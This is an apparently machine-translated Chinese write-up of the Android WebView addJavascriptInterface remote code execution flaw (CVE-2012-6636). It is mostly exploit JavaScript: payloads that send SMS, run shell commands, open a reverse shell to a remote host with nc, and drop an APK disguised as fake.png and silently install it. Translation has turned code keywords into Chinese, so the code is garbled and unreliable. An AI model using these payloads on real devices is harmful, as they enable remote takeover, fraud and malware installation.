,,,,,Android API级别16以及之前的版本存在远程代码执行安全漏洞,该漏洞源于程序没有正确限制使用WebView。addJavascriptInterface方法,远程攻击者可通过使用Java Reflection API利用该漏洞执行任意Java对象的方法,简单的说就是通过addJavascriptInterface给WebView加入一个JavaScript桥接接口,JavaScript通过调用这个接口可以直接操作本地的Java接口。该漏洞最早公布于cve - 2012 - 6636【1】,其描述了WebView中addJavascriptInterface API导致的远程代码执行安全漏洞。
,,,,,该漏洞公布的近期,多款Android流行应用曾被曝出高危挂马漏洞:点击消息或朋友社区圈中的一条网址时,用户手机然后就会自动执行被挂马的代码指令,从而导致被安装恶意扣费软件,向好友发送欺诈短信,通讯录和短信被窃取以及被远程控制等严重后果。在乌云漏洞平台上,包括Android版的微信,QQ,腾讯微博,QQ浏览器,快播,百度浏览器,金山浏览器等大批前应用均被曝光同类型的漏洞。
,,,,,论文攻击> mWebView=new WebView(这个); mWebView.getSettings () .setJavaScriptEnabled(真正的); mWebView。addJavascriptInterface(这一点,“injectedObj”); mWebView.loadUrl(文件:///android_asset/www/index . html),
,,,,,EXP的JavaScript代码:
& lt; html> & lt; body> & lt; script> var objSmsManager=injectedObj.getClass () .forName (“android.telephony.SmsManager”)。getM ethod (“getDefault ", null) .invoke(空,空); objSmsManager。sendTextMessage (" 10086 ", null,“这消息发送时被JS webview加载”,空,空); & lt;/script> & lt;/body> & lt;/html>
,,,,,2)利用addJavascriptInterface方法注册可供JavaScript调用的java对象“injectedObj”,利用反射机制调用Android API getRuntime执行shell命令:
,,,,,EXP的JavaScript代码:
& lt; html> & lt; body> & lt; script> 函数执行(cmdArgs) { 返回injectedObj.getClass () .forName (java.lang.Runtime) .getMethod (“getRuntime”, null) .invoke (null, null) .exec (cmdArgs); } var res=执行([“/系统/bin/sh”、“c”,“ls过程/mnt/sdcard/")); document . write (getContents (res.getInputStream ())); & lt;/script> & lt;/body> & lt;/html>
,,,,,利用后的执行结果:
,,,,,3)利用addJavascriptInterface方法注册可供JavaScript调用的java对象“injectedObj”,利用反射机制调用Android API getRuntime执行shell命令,达到反弹一个手机端的外壳到远程控制端的目的:
,,,,,EXP的JavaScript代码:
& lt; html> & lt; body> & lt; script> 函数执行(cmdArgs) { 返回injectedObj.getClass () .forName (java.lang.Runtime) .getMethod (“getRuntime”, null) .invoke (null, null) .exec (cmdArgs); } 执行([“/系统/bin/sh”、“c”,“rm/tmp/f; mkfifo/tmp/f;猫/tmp/f |/系统/bin/sh - 2祝辞,1 |数控. x.x.x。x 9099在/tmp/f)); & lt;/script> & lt;/body> & lt;/html>
,,,,,执行后的结果:
, & lt; html> & lt; body> & lt; script> 函数执行(cmdArgs) { 返回injectedObj.getClass () .forName (java.lang.Runtime) .getMethod (“getRuntime”, null) .invoke (null, null) .exec (cmdArgs); } 丹共var=" \ \×50 \ \ x4B \ \ x03 \ \ x04 \ \ x14 \ \ x00 \ \ (\ \ x00 \ \ (\ \ x00 \ \ x62 \ \ xB9 \ \ x15 \ \ x30 \ \ x3D \ \ x07 \ \ x01 \ \ x00 \ \ x00 \ \ x7C \ \ x01 \ \ x00 \ \ x00 \ \ x10 \ \ x00 \ \ x00 \ \ x00 \ \ x00 \ \ x00 \ \ x00 \ \ x00 \ \ x00 \ \ x00 \ \ x00 \ \ x00 \ \ x00 \ \ x00 \ \ xD6 \ \ x0D \ \ x00 \ \ x00 \ \ x4D \ \ x45 \ \ x54 \ \ x41 \ \ x2D \ \ x49 \ \ x4E \ \ x46 \ \ x2F \ \ x43 \ \ x45 \ \ x52 \ \ \ \表示就是x54 \ \ x2E x53 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \ \ x4D \ \ x45 \ \ x54 \ \ x41 \ \ x2D \ \ x49 \ \ x4E \ \ x46 \ \ x2F \ \ x43 \ \ x45 \ \ x52 \ \ \ \表示就是x54 \ \ x2E x52 \ \ x53 \ \ x41 \ \×50 \ \ x4B \ \ x05 \ \ x06 \ \ x00 \ \ x00 \ \ x00 \ \ x00 \ \ x07 \ \ x00 \ \ x07 \ \ x00 \ \ xBA \ \ x01 \ \ x00 \ \ x00 \ \ xB6 \ \ x11 \ \ x00 \ \ x00 \ \ x00 \ \ x00” 执行([“/系统/bin/sh”、“c”,“回声”丹共“+ +”“比;/数据/数据/com.example.hellojs fake.png "]); 执行([" chmod ", " 755 ", "/数据/数据/com.example.hellojs/fake.png ")); 执行([“苏”、“c”,“点安装- r/数据/数据/com.example.hellojs/fake.png ")); & lt;/script> & lt;/body> & lt;/html>